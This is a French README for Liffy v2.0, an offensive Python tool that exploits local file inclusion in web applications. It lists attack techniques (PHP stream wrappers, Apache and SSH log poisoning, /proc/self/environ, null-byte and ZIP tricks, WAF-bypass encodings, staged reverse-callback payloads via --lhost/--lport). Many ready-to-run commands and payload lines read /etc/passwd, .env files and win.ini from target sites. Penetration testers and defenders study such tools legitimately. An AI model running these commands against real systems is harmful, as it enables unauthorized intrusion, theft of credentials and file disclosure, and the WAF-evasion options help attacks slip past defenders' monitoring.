
Outil d'exploitation d'inclusion de fichiers locaux

Un puissant outil Python pour l'exploitation d'inclusion locale de fichiers (LFI) avec des fonctionnalités avancées incluant le contournement WAF, les techniques d'encodage et la détection complète de vulnérabilités.
Liffy v2.0 est la version considérablement améliorée de liffy qui a été créé à l'origine par rotlogix/liffy. Cette version inclut des fonctionnalités modernes comme la sortie terminale Rich, la configuration YAML, le multithreading amélioré et de multiples techniques d'exploitation avancées.
⚠️ Beaucoup de nouveaux changements ont été codés à la volée.
Assurez-vous d'utiliser Python 3. Liffy ne supporte pas Python 2. Les exemples ci-dessous utilisent uv run python pour exécuter les commandes dans l'environnement du projet.
# Installez uv si ce n'est pas déjà fait
curl -LsSf https://astral.sh/uv/install.sh | sh
# Clonez le dépôt
git clone https://github.com/mzfr/liffy
cd liffy
# Créez un environnement virtuel avec uv
uv venv
# Installez les dépendances depuis pyproject.toml
uv sync
# Lancez liffy
uv run python liffy.py --help
uv run python liffy.py <URL> [OPTIONS]
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
[-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
[--detection] [--null-byte] [--zip] [--encoding]
[--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
[--headers HEADERS] [--lhost LHOST] [--lport LPORT]
[--read-file READ_FILE] [-y] [--timeout TIMEOUT]
[--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
[--oob] [--oob-url OOB_URL] [--blind] [--auto]
[--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
[--quiet] [--no-color] [--no-banner] [--config]
[url]
arguments positionnels:
url URL à tester pour LFI
Techniques de base:
-d, --data Utiliser la technique data://
-i, --input Utiliser la technique input://
-e, --expect Utiliser la technique expect://
-f, --filter Utiliser la technique filter://
-p, --proc Utiliser la technique /proc/self/environ
-a, --access Technique des logs Apache
--ssh Empoisonnement du journal d'authentification SSH
-dt, --directorytraverse Tester le parcours de répertoire
--null-byte Tester l'empoisonnement par octet nul
--zip Tester l'exploitation du wrapper ZIP
--wrappers, --wrapper Détecter les wrappers de flux LFI courants
--wrapper-list WRAPPER_LIST
Chemin vers une liste personnalisée de sondes de wrappers
--oob Envoyer des sondes de rappel hors bande
--oob-url OOB_URL URL de base pour le rappel hors bande
--blind Effectuer des vérifications LFI aveugles par différence de réponse
--blind-list BLIND_LIST
Chemin vers une liste personnalisée de sondes LFI aveugles
--auto Exécuter un plan de scan automatique et sûr
Options avancées:
--encoding Utiliser des techniques d'encodage/contournement avancées
--waf-bypass Utiliser des techniques de contournement WAF
--method {GET,POST} Méthode HTTP à utiliser (par défaut : GET)
--post-data POST_DATA Données POST (format : clé=valeur&clé2=valeur2)
--headers HEADERS En-têtes personnalisés (format : En-tête1:Valeur1,En-tête2:Valeur2)
--detection Effectuer uniquement la détection LFI, pas d'exploitation
Options de requête:
--timeout TIMEOUT Délai d'expiration de la requête HTTP en secondes
--proxy PROXY URL du proxy HTTP(S), ex. http://127.0.0.1:8080
--verify-tls Vérifier les certificats TLS au lieu d'utiliser des requêtes non sécurisées
--user-agent UA En-tête User-Agent personnalisé
--delay DELAY Délai entre les requêtes en secondes
--retries RETRIES Nombre de tentatives HTTP par requête
Options d'automatisation:
--lhost LHOST Hôte de rappel pour les charges utiles échelonnées
--lport LPORT Port de rappel pour les charges utiles échelonnées
--read-file PATH Chemin du fichier à lire avec filter://
-y, --yes Utiliser les valeurs par défaut pour les invites et exécuter de manière non interactive
--json Afficher un résumé d'exécution en JSON
--output OUTPUT Écrire le résumé d'exécution JSON dans un fichier
--quiet Supprimer la sortie terminale normale
Options générales:
-ns, --nostager Exécuter la charge utile directement, ne pas utiliser de stager
-r, --relative Utiliser des séquences de parcours de chemin pour l'attaque
-l, --location LOCATION Chemin vers le fichier cible (log d'accès, log d'auth, etc.)
--cookies COOKIES Cookies de session pour l'authentification
-t, --threads THREADS Nombre de threads à utiliser (par défaut : 5)
--no-color Désactiver la sortie colorée
--no-banner Désactiver l'affichage de la bannière
--config Créer un fichier de configuration YAML par défaut
Créez un fichier de configuration pour des paramètres persistants :
uv run python liffy.py --config
Ceci crée liffy_config.yaml avec les paramètres par défaut :
# Fichier de configuration Liffy
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0
Définissez disable_banner: true pour masquer la bannière/logo de démarrage par défaut. Les indicateurs CLI remplacent toujours les valeurs de configuration, vous pouvez donc aussi utiliser --no-banner, --no-color, ou --quiet pour des exécutions ponctuelles.
Vous pouvez également utiliser des variables d'environnement :
LIFFY_THREADS - Nombre de threadsLIFFY_RATE_LIMIT - Délai de limitation du débitLIFFY_NO_COLOR - Désactiver les couleurs (true/false)Lorsque --waf-bypass est activé, liffy applique automatiquement plusieurs techniques d'évasion :
/**/, #, ;file:///, pHp://./, ../, octets nulsAvec --encoding, liffy applique des méthodes d'encodage avancées :
%252e%252e%252f\u002e\u002e\u002f..%2F, ..%2f../# POST avec données de formulaire
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"
# POST avec en-têtes personnalisés
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"
# Envoyer le trafic via un proxy local et réessayer en cas d'échec transitoire
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
--proxy "http://127.0.0.1:8080" --timeout 20 --retries 2
# Utiliser un User-Agent fixe et un délai de requête personnalisé
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
--user-agent "liffy/2.0" --delay 0.5
uv run python liffy.py "http://example.com/page.php?file=" -d
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
--post-data "action=read&file=../../etc/passwd" \
--headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"
uv run python liffy.py "http://example.com/page.php?file=" -a
uv run python liffy.py "http://example.com/page.php?file=" --ssh
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"
uv run python liffy.py "http://example.com/page.php?file=" -d -r
uv run python liffy.py "http://example.com/page.php?file=" -dt
uv run python liffy.py "http://example.com/page.php?file=" --null-byte
uv run python liffy.py "http://example.com/page.php?file=" --zip
uv run python liffy.py "http://example.com/page.php?file=" --wrappers
La détection de wrappers utilise des sondes sûres par défaut pour file://, php://filter, data://, php://temp, php://memory et les wrappers associés. zip://, phar:// et glob:// sont traités comme informatifs/conditionnels car ils nécessitent généralement des fichiers côté cible ou un comportement de sink qui expose les listages.
Vous pouvez fournir une liste de charges utiles de wrappers personnalisées. Si --wrapper-list est omis, liffy revient aux sondes intégrées :
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
--wrapper-list payload_wordlists/wrappers.txt
Chaque ligne non vide peut être soit une charge utile brute, soit nom=charge_utile :
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini
uv run python liffy.py "http://example.com/page.php?file=" --oob \
--oob-url "https://example.oast.site"
Utilisez ceci avec un écouteur de rappel HTTP/DNS. Liffy envoie des charges utiles de style wrapper d'URL et vous vérifiez si la cible rappelle.
uv run python liffy.py "http://example.com/page.php?file=" --blind
Les vérifications aveugles comparent les sondes de fichiers existants avec des lignes de base de fichiers manquants aléatoires et signalent les différences de statut, de longueur ou de temporisation lorsque le contenu n'est pas directement reflété.
Vous pouvez fournir une liste de sondes aveugles personnalisées. Si --blind-list est omis ou vide, liffy utilise les sondes intégrées :
uv run python liffy.py "http://example.com/page.php?file=" --blind \
--blind-list payload_wordlists/blind_lfi.txt
Chaque ligne non vide peut être soit une charge utile brute, soit nom=charge_utile :
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env
uv run python liffy.py "http://example.com/page.php?file=" --auto
--auto active le parcours de répertoire en mode détection uniquement, les vérifications de wrappers et les vérifications aveugles. Si --oob-url est également fourni, il inclut les sondes hors bande.
uv run python liffy.py "http://example.com/page.php?file=" \
-d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
--encoding --waf-bypass --detection
uv run python liffy.py "http://example.com/page.php?file=" -d \
--cookies "PHPSESSID=abc123; auth_token=xyz789"
uv run python liffy.py "http://example.com/page.php?file=" -d \
--lhost 10.10.14.2 --lport 4444 --yes
uv run python liffy.py "http://example.com/page.php?file=" -f \
--read-file /etc/passwd --yes
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
--output findings.json
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json
Les emplacements par défaut suivants sont utilisés lorsqu'aucun chemin personnalisé n'est spécifié :
/var/log/auth.log/var/log/apache2/access.log/var/log/httpd/access_logNous accueillons les contributions ! Voici comment vous pouvez aider :
N'hésitez pas à ouvrir une issue pour toute question ou suggestion !
Le mode détection de Liffy fournit une analyse complète des vulnérabilités :
/etc/passwd[+] RÉSUMÉ DE VULNÉRABILITÉ
==================================================
[1] Vulnérabilité trouvée
Charge utile : ../../etc/passwd
Confiance : 85%
Preuve : Fichier Linux /etc/passwd : root:
Code d'état : 200
Longueur du contenu : 1547
# Utiliser les techniques de contournement WAF
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass
# Réduire le nombre de threads et augmenter les délais
uv run python liffy.py "http://target.com/lfi.php" -d -t 1
# Augmenter le délai dans le fichier de configuration
max_threads: 2
rate_limit_delay: 1.0
Pour une sortie détaillée, vous pouvez modifier la configuration :
debug_mode: true
verbose_output: true
Liffy est conçu uniquement pour les tests de sécurité autorisés.
Les auteurs ne sont pas responsables d'une mauvaise utilisation de cet outil.
Ce projet est sous licence GNU General Public License v3.0 - voir le fichier LICENSE pour plus de détails.